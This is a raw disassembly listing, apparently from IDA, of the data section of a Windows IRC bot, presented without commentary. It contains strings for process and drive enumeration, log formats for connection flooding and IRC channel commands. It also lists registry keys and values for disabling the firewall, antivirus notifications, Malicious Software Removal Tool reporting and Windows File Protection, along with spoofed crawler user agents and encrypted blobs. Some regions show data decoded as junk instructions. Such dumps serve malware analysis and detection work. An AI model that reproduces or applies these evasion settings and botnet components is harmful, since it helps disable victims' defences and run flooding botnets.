aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_417362+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_417362+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_417362+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_417362+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_417362+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_417362+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_417362+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_417362+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_417362+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_417362+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_417362+23o
		align 4
aKernel32_dll_1	db 'kernel32.dll',0     ; DATA XREF: sub_417362+Ao
		align 4
aSSSSExecutingF	db '%s %s %s: %s executing file: %s.',0 ; DATA XREF: sub_4182BA+695o
		align 10h
aSProcessSSTota	db '%s Process %s: "%s", Total %s Time: %s.',0 ; DATA XREF: sub_4182BA+55Eo
a_2d_2d		db ' %.2d:%.2d',0       ; DATA XREF: sub_4182BA+53Ao
					; sub_41F533+2BAo
		align 4
aDS		db ' %d%s',0            ; DATA XREF: sub_4182BA+50Fo
					; sub_41F533+292o
		align 4
aHours		db ' hours',0           ; DATA XREF: sub_4182BA+502o
					; sub_41F533+285o
		align 4
aHour		db ' hour',0            ; DATA XREF: sub_4182BA+4FBo
					; sub_41F533+27Eo
		align 4
aSCreatedProces	db '%s Created process: "%s", PID: <%d>',0 ; DATA XREF: sub_4182BA+470o
					; sub_4182BA+497o
aSSToCreateProc	db '%s %s to create process: "%s", %s: <%d>',0 ; DATA XREF: sub_4182BA+404o
					; sub_4182BA+435o
aSCouldnTParseP	db '%s Couldn',27h,'t parse path, %s: <%d>',0 ; DATA XREF: sub_4182BA+32Do
					; sub_4182BA+356o
		align 4
aSSS_1fkbToS@_1	db '%s %s %s: %.1fKB to: %s @ %.1fKB/sec.',0 ; DATA XREF: sub_4182BA+252o
					; sub_4182BA+2BAo
		align 4
aSCouldnTOpenFi	db '%s Couldn',27h,'t open file for writing: %s.',0
					; DATA XREF: sub_4182BA+ACo
		align 4
aSErrorOutOfMem	db '%s Error: Out Of Mem!',0 ; DATA XREF: sub_418AD3+1B9o
		align 4
aSSSDSentDConnS	db '%s %s (%s:%d) Sent: (%d) conn(s) for (%d) sec(s)',0
					; DATA XREF: sub_418AD3+12Bo
		align 4
aSSendingSDDC_0	db '%s -> Sending (%s:%d) (%d) conn(s) for (%d) sec(s)',0
					; DATA XREF: sub_418AD3+A0o
		align 4
aSSendingSDDCon	db '%s -> Sending (%s:%d) (%d) connects(s) for (%d) sec(s)',0
					; DATA XREF: sub_418AD3+73o
		align 8
aGx000032	db 'gx000032',0         ; DATA XREF: sub_418FA1+Co
		align 4
a3c9		db ']&3c9',0            ; DATA XREF: sub_40A9FE+57C6o
					; sub_40A9FE+895Do ...
word_44399A	dw 1F99h		; DATA XREF: sub_4020BA:loc_402118r
					; sub_406C69:loc_406CB8r ...
word_44399C	dw 1704h		; DATA XREF: sub_40A9FE:loc_40C186r
word_44399E	dw 46Ah			; DATA XREF: .text:004018D8r
					; sub_403B9B+121r ...
byte_4439A0	db 26h			; DATA XREF: sub_40A935+2Fr
					; sub_40A935+83r ...
		align 4
dword_4439A4	dd 14h							; sub_42245D+3Cr
dword_4439A8	dd 2477664Fh, 6AA83178h, 0C07559h					; sub_406C69+79o ...
dword_4439B4	dd 12727B5Bh, 0						; sub_401B6E+132o ...
dword_4439BC	dd 6333265Dh, 74C67A39h, 0D953C12h, 0C6h					; sub_40A9FE+89B2o ...
dword_4439CC	dd 296E616Dh, 64842364h, 57D66274h, 80F161D3h, 94724350h
					; DATA XREF: sub_4051EF+114o
					; sub_416596+29Fo ...
		dd 228F8170h, 0
dword_4439E8	dd 296E616Dh, 64842364h, 57D66274h, 80F161D3h, 94724350h
					; DATA XREF: sub_416596+2B7o
					; sub_4221E4+59o
		dd 228F8170h, 2	dup(0)
; ---------------------------------------------------------------------------


loc_443A08:				; DATA XREF: sub_416596+2D1o
					; sub_4221E4:loc_422278o
		jg	short loc_443A70
		popa
		das
		xor	[si+6B64h], eax
		db	64h
		retf
; ---------------------------------------------------------------------------
		db 47h
		db 0CFh, 36h, 0C1h
; ---------------------------------------------------------------------------

locret_443A17:				; CODE XREF: .text:00443A6Ej
		iret
; ---------------------------------------------------------------------------
		dd 8F735876h, 3E85AE3Ch, 0BF819E04h, 6B45316Ch,	0E0012D37h
		dd 40C62470h, 0DB3F5643h, 0CEBDA35Eh, 0D0C83555h, 8B38914h
		dd 60318907h, 58EEE403h, 571696B2h, 8CDC5413h, 2 dup(0)
dword_443A58	dd 80000002h						; sub_427DAA+36r
dword_443A5C	dd 19464769h, 1A5155Ch,	4AE85160h					; sub_42245D+B3o ...
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_443A69:				; CODE XREF: .text:00443A88j
		xor	ebx, ebp
		pushf
		push	ecx
		push	ecx
		jz	short locret_443A17


loc_443A70:				; CODE XREF: .text:loc_443A08j
		inc	eax
		mov	edx, 83143E83h
		cdq
		mov	al, ds:3E74085Ch
		push	ss
		cmp	dl, [esi]
		clc
		insd
		adc	esi, eax
		sbb	al, 10h
		imul	edi, [eax], -24h
		jno	short loc_443A69
		pushf
		fimul	word ptr [ecx+0]
; ---------------------------------------------------------------------------
		dw 0
		dd 32h dup(0)
		db 3 dup(0)
byte_443B5B	db 6Dh			; DATA XREF: sub_416596+287o
					; sub_42245D+ABo ...
		dd 64296E61h, 74648423h, 8057D662h, 4A81DD02h, 70976F45h
		dd 9888h, 0BDh dup(0)
dword_443E68	dd 2B666B0Ch, 7CC0603Bh, 12C33909h, 0DDD12099h,	0C935565Fh
					; DATA XREF: sub_416596+38o
					; sub_42045F+229o
		dd 65898C7Dh, 0E0888E41h, 2A033261h, 0
dword_443E8C	dd 7B376C5Fh, 7C94376Ah, 129C390Fh, 0D9822396h,	0CA64010Fh
					; DATA XREF: sub_40A9FE+A47o
					; sub_416596+50o
		dd 64DFD57Dh, 0E388DA13h, 7A533061h, 0
dword_443EB0	dd 7C333A1Bh, 76C67739h, 1B95340Fh, 0DF817391h,	0C9310F07h
					; DATA XREF: sub_41567F+1o
					; sub_416596+68o ...
		dd 61D9DD25h, 8DB0CA42h, 621F6126h, 0A4477B24h,	5BC9073Ah
		dd 0D863310Bh, 9EFDB718h, 90946704h, 5DE38C55h,	217AC45Ch
		dd 4FB3AC05h, 1E4ED4E9h, 88816F5Bh, 293525C0h, 7F7749h
off_443F00	dd offset dword_445D5C	; DATA XREF: sub_42045F+1D1r
		dd offset dword_445D54
		dd offset dword_445D4C
		dd offset dword_445D40
		dd offset dword_445D34
dword_443F14	dd 6D6519h						; sub_40A9FE+7C8o ...
off_443F18	dd offset loc_415B66+2	; DATA XREF: sub_416596+C1o
					; sub_420AB8+52o ...
dword_443F1C	dd 356D6519h, 0						; sub_40A9FE+1D3Fo ...
dword_443F24	dd 3E6D6519h, 0						; sub_416596+121o ...
dword_443F2C	dd 266D6519h, 0						; sub_40A9FE:loc_40BCF2o ...
dword_443F34	dd 3E6D6519h, 2	dup(0)					; sub_42045F:loc_4205C8o ...
dword_443F40	dd 7D317059h						; sub_418FA1+607r
		dd 6A993566h, 47C0684Bh, 8C9C32CEh, 5A51h, 22h dup(0)
		db 3 dup(0)
byte_443FDF	db 49h			; DATA XREF: sub_416596+170o
					; sub_418FA1+5DAo
		dd 6E3F636Dh, 4F258720h, 7Eh, 0
dword_443FF0	dd 0CE9h						; sub_40A9FE+4FFo ...
dword_443FF4	dd 0				dd 7C30705Ch, 77C6603Bh, 5ACD7A12h, 9DDD6FE9h, 59h, 22h	dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_4440B9
; ---------------------------------------------------------------------------
		align 10h
		pop	ebp
		jno	short near ptr byte_444121
		and	ah, [esi+35h]
		cdq
		push	4Bh


loc_4440B9:				; CODE XREF: .text:004440A8j
		push	32CE47C0h
		pushf
		mov	word ptr [ecx+5Ah], ss
; ---------------------------------------------------------------------------
		dw 0
		dd 17h dup(0)
		db 0
byte_444121	db 3 dup(0)		; CODE XREF: .text:004440B1j
		dd 0Ah dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_444171
; ---------------------------------------------------------------------------
		align 4
		pop	ebp
		xor	es:26D96439h, dh
		push	ebp


loc_444171:				; CODE XREF: .text:00444160j
		ja	short $+2
; ---------------------------------------------------------------------------
		db 0
		dd 24h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_444229
; ---------------------------------------------------------------------------
		align 10h
		dd 7D313859h, 27D96573h
; ---------------------------------------------------------------------------
		push	ebx


loc_444229:				; CODE XREF: .text:00444218j
		and	eax, esi
		inc	eax
; ---------------------------------------------------------------------------
		dd 24h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_4442E1
; ---------------------------------------------------------------------------
		align 4
		dd 206D6759h, 27D9266Ch
; ---------------------------------------------------------------------------
		push	ebx


loc_4442E1:				; CODE XREF: .text:004442D0j
		and	eax, esi
		inc	eax
; ---------------------------------------------------------------------------
		dd 24h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_444399
; ---------------------------------------------------------------------------
		align 10h
		dd 286C6D4Eh, 2A983C7Bh
; ---------------------------------------------------------------------------
		pop	ecx


loc_444399:				; CODE XREF: .text:00444388j
		and	eax, ecx
		inc	edi
		mov	fs, word ptr [ebx]
		ficomp	word ptr [edx-6A96A4A5h]
		jns	short near ptr dword_4442E4+85h
		mov	large ds:0, dh
; ---------------------------------------------------------------------------
		dd 20h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_444451
; ---------------------------------------------------------------------------
		align 4
		dd 236F604Ah, 369E236Eh
; ---------------------------------------------------------------------------
		pop	ecx


loc_444451:				; CODE XREF: .text:00444440j
		and	eax, ecx
		inc	edi
		mov	fs, word ptr [ebx]
		ficomp	word ptr [edx-6A96A4A5h]
		jns	short near ptr dword_4443AC+75h
		mov	large ds:0, dh
; ---------------------------------------------------------------------------
		dd 20h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_444509
; ---------------------------------------------------------------------------
		align 10h
		dd 236F604Ah, 2398386Eh
; ---------------------------------------------------------------------------
		push	ebp


loc_444509:				; CODE XREF: .text:004444F8j
		arpl	[ebx-2F903BB9h], cx
		or	dword ptr [ebx+52h], 6Ch
		xchg	eax, edx
		jb	short near ptr dword_444464+3Ah
		les	esi, [edx]
		adc	eax, 0
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 1Fh dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_4445C1
; ---------------------------------------------------------------------------
		align 4
		dd 3E6F6E4Fh, 2194357Bh
		db 12h
; ---------------------------------------------------------------------------


loc_4445C1:				; CODE XREF: .text:004445B0j
		push	2FD74CD1h
		rol	ecx, 50h
		push	edx
		jz	short $+2
; ---------------------------------------------------------------------------
		dd 22h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_444679
; ---------------------------------------------------------------------------
		align 10h
		dd 2B65604Eh, 29822664h
; ---------------------------------------------------------------------------
		dec	edi


loc_444679:				; CODE XREF: .text:00444668j
		and	eax, edi
		inc	ecx
		shr	dword ptr [eax], cl
		fmul	qword ptr [ebx-67D1B0A5h]
		jnb	short near ptr dword_4445CC+3Ah
; ---------------------------------------------------------------------------
		dw 0
		dd 21h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_444731
; ---------------------------------------------------------------------------
		align 4
		dd 7D317059h, 6A993566h
; ---------------------------------------------------------------------------
		dec	ebx


loc_444731:				; CODE XREF: .text:00444720j
		push	32CE47C0h
		pushf
		mov	word ptr [ecx+5Ah], ss
; ---------------------------------------------------------------------------
		dw 0
		dd 22h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
		dd 7C30705Ch, 77C6603Bh, 5ACD7A12h, 9DDD6FE9h, 59h, 22h	dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
aQnF5sjkhG2Mqz	db ']qn"f5™jKhÀGÎ2œŒQZ',0
		align 4
		dd 22h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
		dd 3530265Dh, 26D96439h, 7755h,	24h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
		dd 7D313859h, 27D96573h, 40C62353h, 24h	dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
		dd 206D6759h, 27D9266Ch, 40C62353h, 24h	dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
aNmlSYGoIxyI5	db 'Nml({<˜*Y#ÁGŽ#Þš[[i•yÈ5',0
		align 4
		dd 20h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
aJONU6yGoIxyI5	db 'J`o#n#ž6Y#ÁGŽ#Þš[[i•yÈ5',0
		align 4
		dd 20h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
		dd 236F604Ah, 2398386Eh, 478B6355h, 83D06FC4h, 926C524Bh
		dd 32C48872h, 15h, 20h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
		dd 3E6F6E4Fh, 2194357Bh, 4CD16812h, 0C1C12FD7h,	745250h
		dd 22h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
aNEDVOALO_ssa	db 'N`e+d&‚)O#ÇAÓ(Ü‹[O.˜s€',0
		align 10h
		dd 21h dup(0)
		dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0
		dd 0CECh, 0
dword_444F10	dd 80000002h						; sub_418FA1+56r ...
dword_444F14	dd 19464769h, 1A5155Ch,	4AE85160h, 9CDD33C3h, 0A7745151h
					; DATA XREF: sub_416596+1B0o
					; sub_418E0F+149o ...
		dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh
		dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h
		dd 0F54Dh, 2Fh dup(0)
		db 3 dup(0)
byte_445013	db 57h			; DATA XREF: sub_416596+1C7o
					; sub_418E0F+144o ...
		dd 6522677Bh, 31h, 0C1h	dup(0)
dword_445320	dd 80000002h						; sub_41BC0B+ABr ...
dword_445324	dd 19464769h, 1A5155Ch,	4AE85160h, 9CDD33C3h, 0A7745151h
					; DATA XREF: sub_416596+1DFo
					; sub_41BC0B+89o ...
		dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh
		dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h
		dd 0F54Dh, 2Fh dup(0)
		db 3 dup(0)
byte_445423	db 48h			; DATA XREF: sub_416596+1F7o
					; sub_41BC0B+83o ...
		dd 3D756Dh, 0C2h dup(0)
dword_445730	dd 80000002h						; sub_427BC4+89r ...
dword_445734	dd 19464769h, 1A5155Ch,	4AE85160h, 9CDD33C3h, 0A7745151h
					; DATA XREF: sub_416596+20Fo
					; sub_427BC4+13o ...
		dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh
		dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h
		dd 0F54Dh, 2Fh dup(0)
		db 3 dup(0)
byte_445833	db 53h			; DATA XREF: sub_416596+227o
					; sub_427BC4+Co ...
		dd 66247466h, 31h, 0C1h	dup(0)
dword_445B40	dd 32314B77h, 425A3046h, 2F616C70h, 0					; sub_420D91+Co
dword_445B50	dd 4D787073h, 2F472F72h, 30494276h, 0					; sub_41CBC1+187o
dword_445B60	dd 526E322Fh, 704B2E75h, 2F784E4Bh, 0					; sub_41CBC1+1A5o
a7lybp1gunfm0	db '7LybP1GuNfm0',0     ; DATA XREF: sub_41567F+27o
					; sub_41C8B1+184o
		align 10h
a391myLxl28_	db '391mY/LxL28.',0     ; DATA XREF: sub_41567F+32o
					; sub_41C8B1+1ACo
		align 10h
a5h5br_qpSm1	db '5H5BR.qp/sm1',0     ; DATA XREF: sub_41567F+3Do
					; sub_41CBC1+82o ...
		align 10h
aYjmlc1btsf10_0	db 'yJmlc1btsF10',0     ; DATA XREF: sub_41567F+48o
					; sub_41CBC1+94o ...
		align 10h
aZyvgp1mxobt0_0	db 'zyVGp1MxObt0',0     ; DATA XREF: sub_41567F+53o
					; sub_41CBC1:loc_41CCC6o ...
		align 10h
aG7IvGks9l1_0	db 'g7/IV/gks9L1',0     ; DATA XREF: sub_41567F+61o
					; sub_41CBC1+DFo ...
		align 10h
aTugnf_mqsdr0_0	db 'TuGNF.mQSDR0',0     ; DATA XREF: sub_41567F+6Co
					; sub_41C8B1+198o ...
		align 10h
aBwIj0rhpgj1	db 'bw/Ij0rhPgj1',0     ; DATA XREF: sub_41567F+77o
					; sub_420D91+2Eo
		align 10h
aFuv1h_fi8sc	db 'FuV1H.fi8SC/',0     ; DATA XREF: sub_41567F+82o
					; sub_420D91+42o
		align 10h
aLcxMHdpwr1	db 'lCX/m/HdpWr1',0     ; DATA XREF: sub_41567F+8Do
					; sub_41D110+1Ao ...
		align 10h
aVozbg0sssom1	db 'vozbG0sSsoM1',0     ; DATA XREF: sub_41567F+98o
					; sub_41CAB4+3Co ...
		align 10h
aKc4l5_savs3_	db 'KC4L5.sAVS3.',0     ; DATA XREF: sub_41567F+A3o
					; sub_41CF25+Fo ...
		align 10h
aWk12f0zbpla	db 'wK12F0ZBpla/',0     ; DATA XREF: sub_41567F+AEo
		align 10h
aSpxmrGVbi0	db 'spxMr/G/vBI0',0     ; DATA XREF: sub_41567F+BCo
					; sub_4263D5+54o
		align 10h
a2nru_kpknx	db '/2nRu.KpKNx/',0     ; DATA XREF: sub_41567F+C7o
					; sub_4263D5+60o
		align 10h
a7lybp1gunfm0_0	db '7LybP1GuNfm0',0     ; DATA XREF: sub_41567F+D2o
					; sub_4264CB+93o
		align 10h
a391myLxl28__0	db '391mY/LxL28.',0     ; DATA XREF: sub_41567F+DDo
					; sub_4264CB+F0o
		align 10h
a5h5br_qpSm1_0	db '5H5BR.qp/sm1',0     ; DATA XREF: sub_40A9FE+36C8o
					; sub_40A9FE+36F3o ...
		align 10h
aYjmlc1btsf10	db 'yJmlc1btsF10',0     ; DATA XREF: sub_40A9FE+320Fo
					; sub_40A9FE+372Fo ...
		align 10h
aZyvgp1mxobt0	db 'zyVGp1MxObt0',0     ; DATA XREF: sub_40A9FE+2C79o
					; sub_40A9FE+2F18o ...
		align 10h
aG7IvGks9l1	db 'g7/IV/gks9L1',0     ; DATA XREF: sub_40A9FE+307Eo
					; sub_40A9FE+31B5o ...
		align 10h
aTugnf_mqsdr0	db 'TuGNF.mQSDR0',0     ; DATA XREF: sub_40A9FE+31E8o
					; sub_40A9FE+37DFo ...
		align 10h
aBwIj0rhpgj1_0	db 'bw/Ij0rhPgj1',0     ; DATA XREF: sub_41567F+122o
		align 10h
aFuv1h_fi8sc_0	db 'FuV1H.fi8SC/',0     ; DATA XREF: sub_41567F+12Do
		align 10h
aLcxMHdpwr1_0	db 'lCX/m/HdpWr1',0     ; DATA XREF: sub_40A9FE+364Do
					; sub_41567F+138o
		align 10h
aVozbg0sssom1_0	db 'vozbG0sSsoM1',0     ; DATA XREF: sub_41567F+143o
		align 10h
aKc4l5_savs3__0	db 'KC4L5.sAVS3.',0     ; DATA XREF: sub_41567F+14Eo
		align 10h
dword_445D20	dd 16h							; sub_40A9FE+53Er ...
dword_445D24	dd 5							; sub_42045F+1BEr ...
dword_445D28	dd 10h				dd offset byte_454A54
		dd offset byte_454A54
dword_445D34	dd 0D2A2910h, 6AC77A3Bh, 0Chdword_445D40	dd 0D2A2910h, 6AC17A3Dh, 0Ahdword_445D4C	dd 0D2A2910h, 3Bhdword_445D54	dd 0D2A2910h, 897E75hdword_445D5C	dd 0D2A2910h, 32967A21h, 0dword_445D68	dd 255C7325h, 73h					; sub_42045F+3D3o ...
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_418E0F+2Ao
					; sub_434D70+24o
aSoftwarePoli_0	db 'SOFTWARE\Policies\Microsoft\MRT',0 ; DATA XREF: sub_418FA1+527o
aDontreportinfe	db 'DontReportInfectionInformation',0 ; DATA XREF: sub_418FA1+522o
		align 4
aFirewalloverri	db 'FirewallOverride',0 ; DATA XREF: sub_418FA1+511o
		align 10h
aFirewalldisabl	db 'FirewallDisableNotify',0 ; DATA XREF: sub_418FA1+500o
		align 4
aAntivirusoverr	db 'AntiVirusOverride',0 ; DATA XREF: sub_418FA1+4ECo
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_418FA1+4E0o
					; sub_418FA1+4F1o ...
		align 10h
aAntivirusdisab	db 'AntiVirusDisableNotify',0 ; DATA XREF: sub_418FA1+4DBo
		align 4
aSystemContro_0	db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol'
					; DATA XREF: sub_418FA1+4AAo
					; sub_418FA1+4BEo ...
		db 'icy\DomainProfile',0
		align 4
aDisablenotific	db 'DisableNotifications',0 ; DATA XREF: sub_418FA1+494o
					; sub_418FA1+4CAo
		align 4
aDonotallowexce	db 'DoNotAllowExceptions',0 ; DATA XREF: sub_418FA1+483o
					; sub_418FA1+4B9o
		align 10h
aSystemControls	db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol'
					; DATA XREF: sub_418FA1+477o
					; sub_418FA1+488o ...
		db 'icy\StandardProfile',0
		align 4
aEnablefirewall	db 'EnableFirewall',0   ; DATA XREF: sub_418FA1+472o
					; sub_418FA1+4A5o
		align 4
aSystemCurren_3	db 'SYSTEM\CurrentControlSet\Services\NetBT\Parameters',0
					; DATA XREF: sub_418FA1+463o
		align 4
aTransportbindn	db 'TransportBindName',0 ; DATA XREF: sub_418FA1+45Eo
		align 10h
aDevice		db '\Device\',0         ; DATA XREF: sub_418FA1+459o
		align 4
aAutosharewks	db 'AutoShareWks',0     ; DATA XREF: sub_418FA1+448o
		align 4
aAutoshareserve	db 'AutoShareServer',0  ; DATA XREF: sub_418FA1+437o
aSfcscan	db 'SFCScan',0          ; DATA XREF: sub_418FA1+426o
aSoftwarePolici	db 'Software\Policies\Microsoft\Windows NT\Windows File Protection',0
					; DATA XREF: sub_418FA1+417o
					; sub_418FA1+42Bo
		align 4
aSfcdisable	db 'SFCDisable',0       ; DATA XREF: sub_418FA1+412o
		align 10h
aSystemCurren_2	db 'SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters',0
					; DATA XREF: sub_418FA1+405o
					; sub_418FA1+43Co ...
		align 4
aSizreqbuf	db 'SizReqBuf',0        ; DATA XREF: sub_418FA1+400o
		align 4
aMaxconnectio_0	db 'MaxConnectionsPerServer',0 ; DATA XREF: sub_418FA1+3E7o
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0
					; DATA XREF: sub_418FA1+3D3o
					; sub_418FA1+3ECo
aMaxconnections	db 'MaxConnectionsPer1_0Server',0 ; DATA XREF: sub_418FA1+3CEo
		align 4
aSystemCurren_1	db 'SYSTEM\CurrentControlSet\Services\Afd\Parameters',0
					; DATA XREF: sub_418FA1+3BBo
		align 4
aDisablerawsecu	db 'DisableRawSecurity',0 ; DATA XREF: sub_418FA1+3B6o
		align 10h
aTcpnumconnecti	db 'TcpNumConnections',0 ; DATA XREF: sub_418FA1+3A9o
					; sub_418FA1+553o
		align 4
aAllowuserrawac	db 'AllowUserRawAccess',0 ; DATA XREF: sub_418FA1+398o
		align 4
aLargebuffersiz	db 'LargeBufferSize',0  ; DATA XREF: sub_418FA1+38Bo
aTcpmaxdupacks	db 'TcpMaxDupAcks',0    ; DATA XREF: sub_418FA1+377o
		align 4
aDefaultttl	db 'DefaultTTL',0       ; DATA XREF: sub_418FA1+369o
		align 4
aSackopts	db 'SackOpts',0         ; DATA XREF: sub_418FA1+35Bo
		align 10h
aEnablepmtubhde	db 'EnablePMTUBHDetect',0 ; DATA XREF: sub_418FA1+34Eo
		align 4
aEnablepmtudisc	db 'EnablePMTUDiscovery',0 ; DATA XREF: sub_418FA1+33Eo
aTcpwindowsize	db 'TcpWindowSize',0    ; DATA XREF: sub_418FA1+331o
		align 4
aGlobalmaxtcpwi	db 'GlobalMaxTcpWindowSize',0 ; DATA XREF: sub_418FA1+320o
		align 10h
aTcp1323opts	db 'Tcp1323Opts',0      ; DATA XREF: sub_418FA1+30Fo
aStricttimewait	db 'StrictTimeWaitSeqCheck',0 ; DATA XREF: sub_418FA1+2FFo
		align 4
aTcptimedwaitde	db 'TcpTimedWaitDelay',0 ; DATA XREF: sub_418FA1+2F2o
		align 4
aMaxuserport	db 'MaxUserPort',0      ; DATA XREF: sub_418FA1+2E4o
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters',0
					; DATA XREF: sub_418FA1+2DFo
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control',0 ; DATA XREF: sub_418FA1+2CFo
		align 4
aWaittokillserv	db 'WaitToKillServiceT',0 ; DATA XREF: sub_418FA1+2C5o
		align 10h
a5000		db '5000',0             ; DATA XREF: sub_418FA1+2C0o
		align 4
aBan		db 'ban',0              ; DATA XREF: sub_418FA1+2B5o
aRModeChanB1	db 'r MODE $chan +b $1',0 ; DATA XREF: sub_418FA1+2B0o
		align 10h
aHalfop		db 'halfop',0           ; DATA XREF: sub_418FA1+2A3o
		align 4
aRModeChanH1	db 'r MODE $chan +h $1',0 ; DATA XREF: sub_418FA1+29Eo
		align 4
aVoice		db 'voice',0            ; DATA XREF: sub_418FA1+294o
		align 4
aRModeChanV1	db 'r MODE $chan +v $1',0 ; DATA XREF: sub_418FA1+28Fo
		align 4
aOps		db 'ops',0              ; DATA XREF: sub_418FA1+285o
aRModeChanO1	db 'r MODE $chan +o $1',0 ; DATA XREF: sub_418FA1+280o
		align 10h
aCtc2		db 'ctc2',0             ; DATA XREF: sub_418FA1+276o
		align 4
aR1_		db 'r $1 :.',0          ; DATA XREF: sub_418FA1+271o
off_4462D0	dd offset byte_637463	; DATA XREF: sub_418FA1+267o
aRPrivmsg1_	db 'r PRIVMSG $1 :.',0  ; DATA XREF: sub_418FA1+262o
aSlap		db 'slap',0             ; DATA XREF: sub_418FA1+258o
		align 4
aRPrivmsg1Slaps	db 'r PRIVMSG $1 slaps for You!!',0 ; DATA XREF: sub_418FA1+253o
		align 4
aSlaps		db 'slaps',0            ; DATA XREF: sub_418FA1+249o
		align 4
aRPrivmsg1GodDa	db 'r PRIVMSG $1 god damnit,hard bitchslaps for you!!',0
					; DATA XREF: sub_418FA1+244o
		align 4
dword_446348	dd 69614D02h, 6E65746Eh, 65636E61h, 2off_446358	dd offset aFastWebcrawler ; DATA XREF: .text:0041A163r
					; .text:0041A16Cr ...
					; "FAST-WebCrawler/3.8 (atw-crawler at fas"...
		dd offset aGooglebot2_0Ht ; "Googlebot/2.0 (+http://www.googlebot.co"...
		dd offset aLynx2_8_4rel_1 ; "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1"...
		dd offset aGooglebot2_1Ht ; "Googlebot/2.1 (+http://www.googlebot.co"...
		dd offset aMicrosoftWebda ; "Microsoft-WebDAV-MiniRedir/5.1.2600"
		dd offset aGooglebot2_0_0 ; "Googlebot/2.0 (http://www.google.com/bo"...
		dd offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
		dd offset aGooglebot2_1_0 ; "Googlebot/2.1 (http://www.google.com/bo"...
		dd offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
		dd offset aGooglebot1_9Ht ; "Googlebot/1.9 (http://www.google.com/to"...
		dd offset aMozilla4_0Co_1 ; "Mozilla/4.0 (compatible; MSIE 5.0;	Wind"...
		dd offset aGooglebot1_9_1 ; "Googlebot/1.9.1 (http://www.google.com/"...
		dd offset aMozilla4_0Co_2 ; "Mozilla/4.0 (compatible; MSIE 5.5;	Wind"...
		dd offset aMozilla4_0Co_3 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_4 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_5 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
